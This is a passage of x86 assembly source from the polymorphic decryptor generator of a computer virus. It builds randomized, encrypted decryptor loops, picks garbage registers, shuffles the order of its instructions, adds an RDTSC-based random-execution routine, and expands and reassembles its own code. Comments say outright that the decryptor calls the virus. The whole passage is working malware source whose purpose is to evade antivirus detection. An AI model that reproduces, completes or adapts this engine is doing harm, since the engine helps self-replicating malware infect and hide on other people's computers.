                mov     edx, [ebp+New_DISASM_SECTION]
                add     edx, eax
                call    Poly_DoPUSHValue   ; Push the DISASM2_SECTION address

                call    Random
                and     eax, 0FC000000h
                mov     edx, [ebp+New_CODE_SECTION]
                add     edx, eax
                call    Poly_DoPUSHValue   ; Push the CODE_SECTION address

                mov     edx, [ebp+GetProcAddressAddress]
                call    Poly_DoPUSHValue  ; Push the address of GetProcAddress

                mov     edx, [ebp+GetModuleHandleAddress]
                call    Poly_DoPUSHValue  ; Push the address of GetModuleHandle

                mov     edx, [ebp+TranslatedDeltaRegister]
                shl     edx, 1
                mov     eax, [ebp+GetModuleHandleMode]
                add     edx, eax
                call    Poly_DoPUSHValue  ; Push the delta register *2 and
                                          ; the A/W flag in the bit 0.


                call    Random            ; Get the first PRIDE value
                mov     ebx, [ebp+SizeOfNewCodeP2]
                sub     ebx, 4
                and     eax, ebx
                mov     [ebp+Poly_InitialValue], eax
                mov     [ebp+CounterValue], eax
                call    Random            ; Get the second PRIDE value
                sub     ebx, 4
                and     eax, ebx
                mov     [ebp+Poly_Addition], eax

                call    Random            ; Get the initial random index
                mov     ebx, [ebp+SizeOfNewCodeP2]
                sub     ebx, 4
                and     eax, ebx
                mov     [ebp+IndexValue], eax

                call    Random                 ; Set this register to a random
                mov     [ebp+BufferValue], eax ; value

                call    Poly_SelectThreeRegisters ; Select three registers to
                                           ; use as Index, Counter and Buffer
                call    Poly_SetValueToRegisters
                                           ; Set the values obtained before

                call    Poly_InsertLabel        ; Set the label for looping
                mov     [ebp+Poly_LoopLabel], eax


                mov     ecx, [ebp+IndexRegister]
                call    Poly_DoPUSHReg          ; Save the register

                mov     ecx, [ebp+IndexRegister]
                mov     edx, [ebp+CounterRegister]
                call    Poly_DoXORRegReg        ; XOR Index with Counter (get
                                          ; a pseudo-random index for decrypt)

                mov     eax, 38h         ; Check if we overpass the data size
                mov     [edi], eax
                mov     eax, [ebp+IndexRegister]
                mov     [edi+1], eax
                mov     eax, [ebp+SizeOfNewCode]
                and     eax, 0FFFFFFFCh
                add     eax, 4
                mov     [edi+7], eax
                add     edi, 10h

                mov     eax, 73h            ; If we overpass it, go to get the
                mov     [edi], eax          ; next pseudorandom index
                mov     [ebp+Poly_ExcessJumpInstruction], edi
                add     edi, 10h            ; Save this address for later

                mov     eax, 42h
                mov     [edi], eax          ; Get the DWORD at that index
                mov     eax, [ebp+IndexRegister]
                add     eax, 0800h
                mov     [edi+1], eax
                mov     eax, [ebp+StartOfEncryptedData]
                mov     [edi+3], eax
                mov     eax, [ebp+BufferRegister]
                mov     [edi+7], eax
                add     edi, 10h

                mov     eax, 3           ; WEIGHT_X007
                call    RandomBoolean_X004_7  ; Select if we encrypt or not
                                              ; genetically.
                                            ; If we don't encrypt, we only
                or      eax, eax            ; copy directly the DWORD to
                jz    @@NoEncryption        ; Memory
                call    Random              ; Get a random Key
    @@NoEncryption:
                mov     [ebp+EncryptionKey], eax

                mov     ecx, eax            ; Set the decryption key in ECX
                or      ecx, ecx            ; 0? (i.e. don't encrypt data)
                jz    @@DontMakeDecryption
     ;@@OtherMethod:
                ; WEIGHT_X008,WEIGHT_X009
                xor     eax, eax
                call    RandomBoolean_X008_11  ; Select an encryption method:
                or      eax, eax               ; ADD, XOR or SUB. We select
                jz    @@MethodXOR_prev         ; them with the genetic weights.
                mov     eax, 1
                call    RandomBoolean_X008_11
                jmp   @@SetMethod
        @@MethodXOR_prev:
                mov     eax, 2
        @@SetMethod:
                mov     [ebp+TypeOfEncryption], eax ; Set the type
                mov     ecx, [ebp+EncryptionKey]    ; Get the encryption key
                or      eax, eax
                jz    @@MethodADD            ; ADD?
                cmp     eax, 1
                jz    @@MethodSUB            ; SUB?
        @@MethodXOR:
                mov     eax, 30h             ; Construct XOR
                jmp   @@MakeDecryption
        @@MethodADD:
                neg     ecx                  ; Negate the key for ADD
        @@MethodSUB:
                xor     eax, eax             ; Construct ADD with the key
        @@MakeDecryption:                    ; negated if we make ADD or not
                                             ; if we make SUB
                mov     [edi], eax
                mov     eax, [ebp+BufferRegister]
                mov     [edi+1], eax         ; Complete the decryption instrc.
                mov     [edi+7], ecx
                add     edi, 10h

        @@DontMakeDecryption:
                mov     eax, 02h            ; Add the address of the allocated
                mov     [edi], eax          ; memory (with CODE_SECTION added
                mov     eax, 0808h          ; too).
                mov     [edi+1], eax
                mov     eax, [ebp+Decryptor_DATA_SECTION]
                add     eax, 10h
                mov     [edi+3], eax
                mov     eax, [ebp+IndexRegister]  ; Complete the instruction
                mov     [edi+7], eax
                add     edi, 10h

                mov     eax, 43h             ; Make a MOV of the value to the
                mov     [edi], eax           ; place on the allocated memory
                mov     eax, [ebp+IndexRegister] ; where it has to be
                add     eax, 0800h
                mov     [edi+1], eax
;                 mov     eax, [ebp+New_CODE_SECTION]
                xor     eax, eax
                mov     [edi+3], eax
                mov     eax, [ebp+BufferRegister]
                mov     [edi+7], eax
                add     edi, 10h

                call    Poly_InsertLabel      ; Set the label where we jump
                mov     ebx, [ebp+Poly_ExcessJumpInstruction]  ; when the
                mov     [ebx+1], eax          ; index exceeds the data size
                                              ; and complete the JAE from
                                              ; before that must jump here.

                mov     ecx, [ebp+IndexRegister]
                call    Poly_DoPOPReg         ; Make POP of the original index

                call    RandomBoolean    ; Let's make a random shuffle of the
                or      eax, eax         ; functions that modify the index,
                jz    @@AddIndexFirst    ; mask the index, increase the
    @@AddCounterFirst:                   ; counter and mask the counter. The
                call    Poly_ModifyCounter ; order for modify/mask must not
        @@C_SelectAnotherSequence:         ; vary, but we can interleave that
                call    Random             ; functions with the others, so
                and     eax, 3             ; that's what we do here.
                or      eax, eax           ; We first select to do IncCounter
                jz    @@C_SelectAnotherSequence ; or AddIndex, and then we
                                                ; select randomly the position
                push    eax                     ; of MaskCounter or MaskIndex
                cmp     eax, 1                  ; while we are coding the
                jnz   @@AddCounterFirst_Next00  ; other two functions.
                call    Poly_MaskCounter
        @@AddCounterFirst_Next00:
                call    Poly_ModifyIndex
                pop     eax

                push    eax
                cmp     eax, 2
                jnz   @@AddCounterFirst_Next01
                call    Poly_MaskCounter
        @@AddCounterFirst_Next01:
                call    Poly_MaskIndex
                pop     eax

                cmp     eax, 3
                jnz   @@AddCounterFirst_Next02
                call    Poly_MaskCounter
        @@AddCounterFirst_Next02:
                jmp   @@ModificationMade


    @@AddIndexFirst:                       ; This makes AddIndex first, and
                call    Poly_ModifyIndex   ; then inserts in a random position
       @@I_SelectAnotherSequence:          ; the MaskIndex function while
                call    Random             ; coding the ModifyCounter and the
                and     eax, 3             ; MaskCounter
                or      eax, eax
                jz    @@I_SelectAnotherSequence

                push    eax
                cmp     eax, 1
                jnz   @@AddIndexFirst_Next00
                call    Poly_MaskIndex
       @@AddIndexFirst_Next00:
                call    Poly_ModifyCounter
                pop     eax

                push    eax
                cmp     eax, 2
                jnz   @@AddIndexFirst_Next01
                call    Poly_MaskIndex
       @@AddIndexFirst_Next01:
                call    Poly_MaskCounter
                pop     eax

                cmp     eax, 3
                jnz   @@AddIndexFirst_Next02
                call    Poly_MaskIndex
       @@AddIndexFirst_Next02:

   ;; We arrive here with all modifications made and the current DWORD copied
   ;; and decrypted (or maybe not decrypted and left as is).

    @@ModificationMade:
                mov     eax, 38h          ; Make a comparision of the counter
                mov     [edi], eax        ; with the first value that it had.
                mov     eax, [ebp+CounterRegister]    ; If it's the same, we
                mov     [edi+1], eax                  ; have finished the 
                mov     eax, [ebp+Poly_InitialValue]  ; decryption.
                mov     [edi+7], eax
                add     edi, 10h

                mov     eax, 75h          ; Make the JNZ to the loop label
                mov     [edi], eax
                mov     eax, [ebp+Poly_LoopLabel]
                mov     [edi+1], eax
                add     edi, 10h

;;;;;;;                               ; Now get the address where the virus
                mov     eax, 8        ; is copied/decrypted and CALL there
                mov     [ebp+CounterRegister], eax
                mov     [ebp+BufferRegister], eax

                mov     ecx, [ebp+DeltaRegister]
                mov     [ebp+IndexRegister], ecx
                xor     ebx, ebx
                call    Poly_DoMOVRegMem   ; Get the DeltaRegister value

                mov     ecx, [ebp+Decryptor_DATA_SECTION]
                add     ecx, 10h
                call    Poly_DoCALLMem     ; Call the virus

                call    Poly_InsertLabel   ; Insert this label and complete
                                           ; the jump here (when there was an
                                           ; error allocating virtual memory)
                mov     edx, [ebp+Poly_Jump_ErrorInVirtualAlloc]
                mov     [edx+1], eax
                mov     edx, [ebp+Poly_JumpRandomExecution] ; If there is a
                or      edx, edx            ; random-execution routine, fix
                jz    @@DontSetJump         ; that jump also.
                mov     [edx+1], eax

      @@DontSetJump:
                call    Poly_SelectThreeRegisters
                xor     edx, edx
                call    Poly_DoPUSHValue    ; Push a value of 0 (no error :)

                mov     ecx, [ebp+ExitProcessAddress]
                call    Poly_DoCALLMem      ; Call to ExitProcess

                mov     ebx, [ebp+VarMarksTable]  ; Clear the marks of the
                mov     ecx, 1000h       ; variables used in this decryptor
                xor     eax, eax         ; for the next decryptors that could
     @@LoopClearMarks:                   ; be made after this one.
                mov     [ebx], eax
                add     ebx, 4
                sub     ecx, 4
                or      ecx, ecx
                jnz   @@LoopClearMarks

                mov     [ebp+AddressOfLastInstruction], edi ; Set the address
                mov     eax, [ebp+OtherBuffers]     ; of the last instruction
                mov     [ebp+JumpsTable], eax       ; and some buffers that
                add     eax, 8000h                  ; we need for the engine
                mov     [ebp+FramesTable], eax      ; functions.

                mov     eax, [ebp+NewAssembledCode]
                push    eax
                mov     eax, [ebp+TranslatedDeltaRegister]
                push    eax

                call    XpandCode          ; Expand the code of the decryptor

                mov     eax, [ebp+InstructionTable] ; Now arrange the addresses
                mov     [ebp+NewAssembledCode], eax ; and values needed for
                mov     eax, [ebp+ExpansionResult]  ; the Assembler
                mov     [ebp+InstructionTable], eax

                mov     eax, [ebp+SizeOfNewCode]    ; Save these values that
                push    eax                         ; we must keep
                mov     eax, [ebp+RoundedSizeOfNewCode]
                push    eax
                mov     eax, [ebp+SizeOfNewCodeP2]
                push    eax

                call    AssembleCode        ; Assemble the decryptor

                mov     eax, [ebp+SizeOfNewCode]     ; Set the new addresses
                mov     [ebp+SizeOfDecryptor], eax   ; and sizes
                mov     eax, [ebp+NewAssembledCode]
                mov     [ebp+AssembledDecryptor], eax

                pop     eax                          ; Restore some values
                mov     [ebp+SizeOfNewCodeP2], eax
                pop     eax
                mov     [ebp+RoundedSizeOfNewCode], eax
                pop     eax
                mov     [ebp+SizeOfNewCode], eax

                pop     eax
                mov     [ebp+TranslatedDeltaRegister], eax
                pop     eax
                mov     [ebp+NewAssembledCode], eax

                ret                       ; Return with a new brand decryptor.
MakeDecryptor   endp

;; Function to insert a label in the label table.
Poly_InsertLabel proc
                mov     eax, [ebp+LabelTable]     ; Get the label table
                mov     ecx, [ebp+NumberOfLabels] ; Get the number of labels
                or      ecx, ecx
                jz    @@InsertLabel        ; If 0, insert at the beginning
       @@LoopFindLabel:
                cmp     [eax], edi         ; If not, check if that label is
                jz    @@LabelInserted      ; already inserted
                add     eax, 8
                sub     ecx, 1             ; If it is, return the label addr.
                or      ecx, ecx           ; If not, we insert the new label
                jnz   @@LoopFindLabel      ; at the end of the table
       @@InsertLabel:
                mov     [eax], edi         ; Set the new label
                mov     [eax+4], edi
                mov     ecx, [ebp+NumberOfLabels]  ; Increase the number of
                add     ecx, 1                     ; labels.
                mov     [ebp+NumberOfLabels], ecx
 @@LabelInserted:
                ret             ; Return.
Poly_InsertLabel endp

;; Function to set the function name passed in the values of Index, Counter
;; and Buffer. An instruction will be created for each one (in a random order)
;; and after that another three instructions will be created for putting the
;; values of the registers into the buffer that GetModuleHandle or
;; GetProcAddres will use to get the data needed.
Poly_SetFunctionName proc
                call    Poly_SelectThreeRegisters ; Select new registers

                mov     edx, [ebp+Poly_FirstPartOfFunction]
                mov     [ebp+IndexValue], edx       ; Set the values
                mov     edx, [ebp+Poly_SecondPartOfFunction]
                mov     [ebp+BufferValue], edx
                mov     edx, [ebp+Poly_ThirdPartOfFunction]
                mov     [ebp+CounterValue], edx

                call    Poly_SetValueToRegisters    ; Make MOV instructions

                call    Poly_SetPART_ONEtoMemory_GetStartAddress
                mov     ebx, eax
                call    Poly_SetPART_TWOtoMemory_GetStartAddress
                mov     ecx, eax
                call    Poly_SetPART_THREEtoMemory_GetStartAddress
                mov     edx, eax
                call    Poly_RandomCall       ; Make instructions to set the
                                              ; current value of the registers
                                              ; to the specified buffer.

                call    Poly_SelectThreeRegisters  ; Get three new registers
                mov     ecx, [ebp+IndexRegister]
                xor     edx, edx
                call    Poly_DoMOVRegValue         ; Set a 0 at the end of
                                                   ; the data set before (with
                                                   ; the new created MOVs)

                mov     ebx, [ebp+AdditionToBuffer]
                add     ebx, 0Ch
                mov     ecx, [ebp+IndexRegister]
                call    Poly_DoMOVMemReg           ; ASCIIZ (or UNICODEZ :)
                ret
Poly_SetFunctionName endp


;; This function selects three new registers for Index, Counter and Buffer.
Poly_SelectThreeRegisters proc
                mov     eax, 8
                mov     [ebp+IndexRegister], eax   ; Initialize them to no_reg
                mov     [ebp+BufferRegister], eax
                mov     [ebp+CounterRegister], eax

                call    Poly_GetAGarbageRegister    ; Get a register
                mov     [ebp+IndexRegister], eax    ; Set it
                call    Poly_GetAGarbageRegister    ; Get a register
                mov     [ebp+BufferRegister], eax   ; Set it
                call    Poly_GetAGarbageRegister    ; Get a register
                mov     [ebp+CounterRegister], eax  ; Set it
                ret
Poly_SelectThreeRegisters endp

;; Function to construct MOVs to set the values specified in every register
;; field to the corresponding Buffer, Counter and/or Index register.
Poly_SetValueToRegisters proc
                call    Poly_SetIndexValue_GetStartAddress ; Get the addresses
                mov     ebx, eax                           ; of the functions
                call    Poly_SetBufferValue_GetStartAddress ; to make a
                mov     ecx, eax                            ; random-ordered
                call    Poly_SetCounterValue_GetStartAddress ; call.
                mov     edx, eax
                call    Poly_RandomCall   ; Make random-ordered call of
                ret                       ; the functions at EBX,ECX and EDX
Poly_SetValueToRegisters endp

;; Function to modify the counter in the decryption loop using PRIDE)
Poly_ModifyCounter proc
                call    Random
                and     eax, 3    ; Add 4 plus a random 0-3. This will be
                add     eax, 4    ; eliminated by the mask.
                mov     edx, eax
                mov     ecx, [ebp+CounterRegister]
                call    Poly_DoADDRegValue
                ret
Poly_ModifyCounter endp

;; Mask the register passed at ECX with the value in SizeOfNewCodeP2 (MOD of
;; that value)
Poly_MaskRegister proc
                mov     eax, 20h     ; Make AND
                mov     [edi], eax
                mov     [edi+1], ecx
                call    Random       ; Get a random upper bits until the one
                mov     ebx, [ebp+SizeOfNewCodeP2]  ; that we must anulate
                mov     ecx, ebx                    ; (i.e. set to 0) to make
                not     ebx                         ; an effective MOD of the
                and     eax, ebx                    ; value. All these bits
                sub     ecx, esi                    ; set to random values are
                or      eax, ecx                    ; always 0 in the register
                neg     esi                         ; we are masking, so there
                and     eax, esi                    ; is no problem.
                mov     [edi+7], eax
                add     edi, 10h
                ret
Poly_MaskRegister endp

;; Mask the counter. Get the register in ECX and call the MaskRegister
Poly_MaskCounter proc
                mov     ecx, [ebp+CounterRegister]
                mov     esi, 4
                jmp     Poly_MaskRegister
Poly_MaskCounter endp

;; Mask the index.
Poly_MaskIndex proc
                mov     ecx, [ebp+IndexRegister]
                mov     esi, 1
                jmp     Poly_MaskRegister
Poly_MaskIndex endp

;; To modify the index, we add the addition we calculated at the beginning
;; of the polymorphism function
Poly_ModifyIndex proc
                mov     edx, [ebp+Poly_Addition]
                mov     ecx, [ebp+IndexRegister]
                call    Poly_DoADDRegValue
                ret
Poly_ModifyIndex endp


Poly_RandomCall proc
                mov     esi, 5        ; Garble the values at EBX, ECX and EDX
     @@Again:   call    Xp_GarbleRegisters
                sub     esi, 1
                or      esi, esi
                jnz   @@Again
                or      ebx, ebx      ; If 0 in any one, don't push it
                jz    @@DontPush1st
                push    ebx
     @@DontPush1st:
                or      ecx, ecx
                jz    @@DontPush2nd
                push    ecx
     @@DontPush2nd:
                or      edx, edx
                jz    @@DontPush3rd
                push    edx
     @@DontPush3rd:                   ; Ret and execute the functions in that
                ret                   ; registers one after another
Poly_RandomCall endp

; To do a random-ordered calling of several functions we must know the address
; of this functions, but if we have a metamorphic code we can't do it because
; we can't make a difference between a normal value and an offset value (while
; doing LEA, or other), so we can't rely on hard-coded offsets to get function
; addresses. For this case, the idea is to put a call pointing to a POP & RET
; just before the start address of the function, so the CALL automatically
; will return into the stack the starting address of the function, so calling
; to Poly_SetIndexValue_GetStartAddress() (for example) will call to the func
; Poly_RandomCall_GetAddress(), which makes a POP EAX (putting there the
; starting address of the function) and then returning to where we called
; to xxxGetStartAddress(). Easy, isn't it? No! It is easy once you know it,
; but it wasn't easy to get the idea (believe me :).

Poly_SetIndexValue_GetStartAddress:
                call    Poly_RandomCall_GetAddress ; Get the start address
Poly_SetIndexValue proc
                mov     ecx, [ebp+IndexRegister]
                mov     edx, [ebp+IndexValue]
                call    Poly_DoMOVRegValue
                ret
Poly_SetIndexValue endp


Poly_SetBufferValue_GetStartAddress:
                call    Poly_RandomCall_GetAddress
Poly_SetBufferValue proc
                mov     ecx, [ebp+BufferRegister]
                mov     edx, [ebp+BufferValue]
                call    Poly_DoMOVRegValue
                ret
Poly_SetBufferValue endp


Poly_SetCounterValue_GetStartAddress:
                call    Poly_RandomCall_GetAddress
Poly_SetCounterValue proc
                mov     ecx, [ebp+CounterRegister]
                mov     edx, [ebp+CounterValue]
                call    Poly_DoMOVRegValue
                ret
Poly_SetCounterValue endp


Poly_RandomCall_GetAddress proc  ; Function where we return, POPing the
                pop     eax      ; return address and getting the function
                ret              ; start.
Poly_RandomCall_GetAddress endp


Poly_SetPART_ONEtoMemory_GetStartAddress:
                call    Poly_RandomCall_GetAddress
Poly_SetPART_ONEtoMemory proc
                mov     ecx, [ebp+IndexRegister]
                mov     ebx, [ebp+AdditionToBuffer]
                call    Poly_DoMOVMemReg
                ret
Poly_SetPART_ONEtoMemory endp

Poly_SetPART_TWOtoMemory_GetStartAddress:
                call    Poly_RandomCall_GetAddress
Poly_SetPART_TWOtoMemory proc
                mov     ecx, [ebp+BufferRegister]
                mov     ebx, [ebp+AdditionToBuffer]
                add     ebx, 4
                call    Poly_DoMOVMemReg
                ret
Poly_SetPART_TWOtoMemory endp

Poly_SetPART_THREEtoMemory_GetStartAddress:
                call    Poly_RandomCall_GetAddress
Poly_SetPART_THREEtoMemory proc
                mov     ecx, [ebp+CounterRegister]
                mov     ebx, [ebp+AdditionToBuffer]
                add     ebx, 8
                call    Poly_DoMOVMemReg
                ret
Poly_SetPART_THREEtoMemory endp


;; Function to generate a MOV Reg,Value (with our pseudoassembler).
Poly_DoMOVRegValue proc
                mov     eax, 2
                call    RandomBoolean_X008_11 ; Get direct or indirect method
                or      eax, eax              ; WEIGHT_X010
                jz    @@Direct
                call    Poly_GetAGarbageRegister ; If indirect, we get a
                push    ecx                      ; garbage register, move the
                mov     ecx, eax                 ; value to it and after that
                call  @@Direct                   ; we move the register to
                mov     eax, 41h                 ; the one that we want.
                mov     [edi], eax
                mov     [edi+1], ecx
                pop     ecx
                mov     [edi+7], ecx
                add     edi, 10h
                ret
    @@Direct:   mov     eax, 40h         ; If direct, then that: direct :)
                mov     [edi], eax
                mov     [edi+1], ecx
                mov     [edi+7], edx
                add     edi, 10h
                ret
Poly_DoMOVRegValue endp

;; This function makes an ADD Reg,Value in the same way that in the function
;; above: direct will add the value to the register, while indirect will
;; move the value to a garbage register and after that will add that register
;; to the one that we want to modify.
Poly_DoADDRegValue proc
                mov     eax, 3
                call    RandomBoolean_X008_11  ; Select direct or indirect
                or      eax, eax
                jz    @@Direct
                mov     eax, 40h       ; Move the value to add to a garbage
                mov     [edi], eax     ; register
                call    Poly_GetAGarbageRegister
                mov     [edi+1], eax
                mov     ebx, eax
                mov     [edi+7], edx
                add     edi, 10h
                mov     eax, 01h       ; ADD Reg,Reg
                mov     [edi], eax
                mov     [edi+1], ebx
                mov     [edi+7], ecx
                add     edi, 10h
                ret
         @@Direct:
                xor     eax, eax       ; ADD Reg,Value
                mov     [edi], eax
                mov     [edi+1], ecx
                mov     [edi+7], edx
                add     edi, 10h
                ret
Poly_DoADDRegValue endp

;; Just that: MOV Mem,Reg. The memory is the DATA section of the decryptor,
;; and the offset within is in EBX.
Poly_DoMOVMemReg proc
                xor     eax, eax
                call    RandomBoolean_X012_15
                or      eax, eax
                jz    @@Direct        ; Select direct or indirect
                mov     eax, 41h
                mov     [edi], eax
                mov     [edi+1], ecx  ; Make MOV GarbageReg,Reg and substitute
                call    Poly_GetAGarbageRegister  ; the original register by
                mov     ecx, eax                  ; the garbage one.
                mov     [edi+7], eax
                add     edi, 10h

    @@Direct:   mov     eax, 43h      ; MOV Mem,Reg pseudoopcode
                mov     [edi], eax
                mov     eax, 0808h
                mov     [edi+1], eax
                mov     eax, ebx      ; Get the offset and add the DATA sect.
                add     eax, [ebp+Decryptor_DATA_SECTION]  ; of the virus.
                mov     [edi+3], eax
                mov     [edi+7], ecx
                add     edi, 10h
                ret
Poly_DoMOVMemReg endp

;; Just like above, but inversed.
Poly_DoMOVRegMem proc
                mov     eax, 1
                call    RandomBoolean_X012_15   ; Direct or indirect
                or      eax, eax
                jz    @@Direct
                push    ecx
                call    Poly_GetAGarbageRegister ; Use this garbage register.
                mov     ecx, eax
                call  @@Direct         ; Make the MOV GarbageReg,Mem
                mov     eax, 41h       ; MOV Reg,GarbageReg
                mov     [edi], eax
                mov     [edi+1], ecx
                pop     ecx
                mov     [edi+7], ecx
                add     edi, 10h
                ret

    @@Direct:   mov     eax, 42h       ; Make the instruction directly
                mov     [edi], eax
                mov     eax, 0808h
                mov     [edi+1], eax
                mov     eax, ebx       ; EBX is an offset within DATA sect. of
                add     eax, [ebp+Decryptor_DATA_SECTION]  ; the decryptor.
                mov     [edi+3], eax
                mov     [edi+7], ecx
                add     edi, 10h
                ret
Poly_DoMOVRegMem endp

;; Make a PUSH Reg
Poly_DoPUSHReg  proc
                mov     eax, 50h
                mov     [edi], eax
                mov     [edi+1], ecx
                add     edi, 10h
                ret
Poly_DoPUSHReg  endp

;; Make a POP Reg
Poly_DoPOPReg   proc
                mov     eax, 58h
                mov     [edi], eax
                mov     [edi+1], ecx
                add     edi, 10h
                ret
Poly_DoPOPReg   endp

;; Make a PUSH Value
Poly_DoPUSHValue proc
                mov     eax, 2     ; WEIGHT_X014
                call    RandomBoolean_X012_15 ; Make it directly or indirectly.
                and     eax, 3      ; directly just pushes the value, and
                or      eax, eax    ; indirectly first moves the value to a
                jz    @@Direct      ; garbage register and then pushes that
                mov     eax, 40h    ; register.
                mov     [edi], eax
                call    Poly_GetAGarbageRegister
                mov     [edi+1], eax
                mov     [edi+7], edx
                add     edi, 10h
                mov     ecx, eax
                call    Poly_DoPUSHReg
                ret

     @@Direct:  mov     eax, 68h
                mov     [edi], eax
                mov     [edi+7], edx
                add     edi, 10h
                ret
Poly_DoPUSHValue endp

;; This function will perform a XOR Reg,Reg, both directly and indirectly
;; (with a garbage register), like the functions above.
Poly_DoXORRegReg proc
                mov     eax, 3
                call    RandomBoolean_X012_15 ; WEIGHT_X015
                or      eax, eax
                jz    @@Single
                call    Poly_GetAGarbageRegister
                mov     esi, eax
                mov     eax, 41h      ; Make MOV GarbageReg,SourceReg
                mov     [edi], eax
                mov     [edi+1], edx  
                mov     [edi+7], esi
                add     edi, 10h      
                mov     edx, esi      ; Subsitute the SourceReg by the garbage
                                      ; register.
    @@Single:   mov     eax, 31h      ; Make XOR DestinyReg,GarbageReg
                mov     [edi], eax
                mov     [edi+1], edx
                mov     [edi+7], ecx
                add     edi, 10h
                ret
Poly_DoXORRegReg endp

;; This function gets a register that is not used by the decryptor (or
;; whatever the code we are doing). Concretely, it gets a random register from
;; 0 to 7, and if it's not ESP, IndexReg, CounterReg or BufferReg, then it
;; returns it (it's not used/reserved).
Poly_GetAGarbageRegister proc
    @@Again:    call    Random
                and     eax, 7
                cmp     eax, [ebp+IndexRegister]
                jz    @@Again
                cmp     eax, [ebp+CounterRegister]
                jz    @@Again
                cmp     eax, [ebp+BufferRegister]
                jz    @@Again
                cmp     eax, 4
                jz    @@Again
                ret
Poly_GetAGarbageRegister endp

;; This function creates a check with 0
Poly_MakeCheckWith0 proc
                xor     eax, eax
                call    RandomBoolean_X016_19  ; WEIGHT_X016
                or      eax, eax
                jnz   @@Single
                mov     eax, 40h            ; Composed option: MOV Reg2,0 /
                mov     [edi], eax          ;                  CMP Reg,Reg2
                call    Poly_GetAGarbageRegister
                mov     [edi+1], eax
                xor     ebx, ebx
                mov     [edi+7], ebx
                add     edi, 10h
                mov     ebx, 39h
                mov     [edi], ebx
                mov     [edi+1], eax
                mov     [edi+7], ecx
                add     edi, 10h
                ret

    @@Single:   mov     eax, 38h      ; This one is direct
                mov     [edi], eax
                mov     [edi+1], ecx
                xor     eax, eax
                mov     [edi+7], eax
                add     edi, 10h
                ret
Poly_MakeCheckWith0 endp

;; This function makes a CALL to a memory address. It's used mainly for API
;; calls. We can do both simple and composed CALLs.
Poly_DoCALLMem  proc
                mov     eax, 1
                call    RandomBoolean_X016_19 ; WEIGHT_X017
                or      eax, eax
                jz    @@Single
                mov     eax, 40h     ; Move the address to a garbage register
                mov     [edi], eax
                call    Poly_GetAGarbageRegister
                mov     ebx, eax
                mov     [edi+1], eax
                mov     [edi+7], ecx
                add     edi, 10h
                mov     eax, 0EAh    ; Call to [Register]
                mov     [edi], eax
                mov     eax, 0800h
                add     eax, ebx
                mov     [edi+1], eax
                xor     eax, eax
                mov     [edi+3], eax
                add     edi, 10h
                ret
    @@Single:   mov     eax, 0EAh   ; Call the address directly
                mov     [edi], eax
                mov     eax, 0808h
                mov     [edi+1], eax
                mov     [edi+3], ecx
                add     edi, 10h
                ret
Poly_DoCALLMem  endp

;; This piece of code generates a RDTSC/RET function in runtime once in
;; every 4 created decryptors. The mini-routine has some variants, to make
;; it a little "polymorphic" :).
;; There isn't a standard way of getting a random number in runtime without
;; using APIs (to my knowledge), since FS:[xxx] addresses depend on the
;; win32 system we use (Win9x or WinNT).
Poly_MakeRandomExecution proc
                mov     eax, 2
                call    RandomBoolean_X016_19  ; WEIGHT_X018
                                    ; Only a prob. of making this of 1/4!
                or      eax, eax    ; (at first generation, after that it
                jnz   @@Normal      ; evolves)
                call    Poly_SelectThreeRegisters   ; Select new registers
                mov     ecx, [ebp+IndexRegister]    ; Construct the mini-
                mov     edx, [ebp+Decryptor_DATA_SECTION] ; function here.
                call    Random         ; Get a random offset inside the
                and     eax, 1Ch       ; first 20h bytes of the decryptor
                add     edx, eax       ; data section, and construct the
                cmp     eax, 1Ch       ; 4-byte function there.
                jz    @@DontAddMore
                call    Random
                and     eax, 3
                add     edx, eax
       @@DontAddMore:                      ; Set the IndexRegister with this
                call    Poly_DoMOVRegValue ; value.

                call    Random                     ; Get a random number
                push    eax                        ; Save it
                mov     edx, eax                   ; Move it to BufferReg
                mov     ecx, [ebp+BufferRegister]
                call    Poly_DoMOVRegValue
        @@RDTSC_Option0:
                mov     eax, 3
                call    RandomBoolean_X016_19 ; Get one of the three possible
                ; WEIGHT_X019                 ; variants.
                or      eax, eax
                jz    @@RDTSC_Option2    ; Garbage at the beginning
                xor     eax, eax
                call    RandomBoolean_X020_23 ; WEIGHT_X020
                or      eax, eax
                jz    @@RDTSC_Option3    ; Garbage in the middle
        @@RDTSC_Option1:
                call    Random
                and     eax, 0FF000000h  ; Garbage at the end (a random byte :)
                add     eax, 000C3310Fh
                jmp   @@RDTSC_SetInstruction
        @@RDTSC_Option2:
                call    Poly_GetGarbageOneByter
                ;and     eax, 0000000FFh ; Set a one-byte do-nothing instrc.
                add     eax, 0C3310F00h  ; at the beginning
                jmp   @@RDTSC_SetInstruction
        @@RDTSC_Option3:
                call    Poly_GetGarbageOneByter
                shl     eax, 10h         ; Set a one-byter in the middle
                add     eax, 0C300310Fh
        @@RDTSC_SetInstruction:
                mov     edx, eax         ; Now make the value in EAX from the
                pop     eax              ; random value we made before.
                sub     edx, eax
                mov     ecx, [ebp+BufferRegister]
                call    Poly_DoADDRegValue ; Make it by ADD (or SUB). It's
                                           ; a way of encrypting it.

                mov     eax, 43h         ; Make a MOV [IndexReg],BufferReg
                mov     [edi], eax
                mov     eax, 0800h
                add     eax, [ebp+IndexRegister]
                mov     [edi+1], eax
                xor     eax, eax
                mov     [edi+3], eax
                mov     eax, [ebp+BufferRegister]
                mov     [edi+7], eax
                add     edi, 10h

                mov     eax, 0ECh        ; Now make CALL IndexReg.
                mov     [edi], eax
                mov     eax, [ebp+IndexRegister]
                mov     [edi+1], eax     ; It will return a random value in
                add     edi, 10h         ; EAX

                xor     eax, eax         ; Set IndexReg as EAX
                mov     [ebp+IndexRegister], eax
                mov     eax, 8           ; Destroy the other registers
                mov     [ebp+BufferRegister], eax
                mov     [ebp+CounterRegister], eax

                mov     eax, 1
                call    RandomBoolean_X020_23    ; TEST or AND/CMP?
                                               ; WEIGHT_X021
                or      eax, eax
                jz    @@DirectTEST
      @@ANDandCheck:
                mov     eax, 20h        ; Make AND EAX,2^rnd
                mov     [edi], eax
                xor     eax, eax
                call    Xpand_ReverseTranslation ; Set the register that will
                mov     [edi+1], eax             ; be translated to EAX with
                call  @@GetARandomPowerOf2       ; the expander
                mov     [edi+7], edx
                add     edi, 10h

                xor     eax, eax
                call    Xpand_ReverseTranslation
                mov     ecx, eax
                call    Poly_MakeCheckWith0   ; Make a check with 0
      @@SetTheJump:
                mov     eax, 2
                call    RandomBoolean_X020_23  ; WEIGHT_X022
                add     eax, 74h              ; Set a random JZ/JNZ to
                mov     [edi], eax            ; ExitProcess.
                mov     [ebp+Poly_JumpRandomExecution], edi ; Set the address
                add     edi, 10h             ; of the jump to complete and
                ret                          ; return.

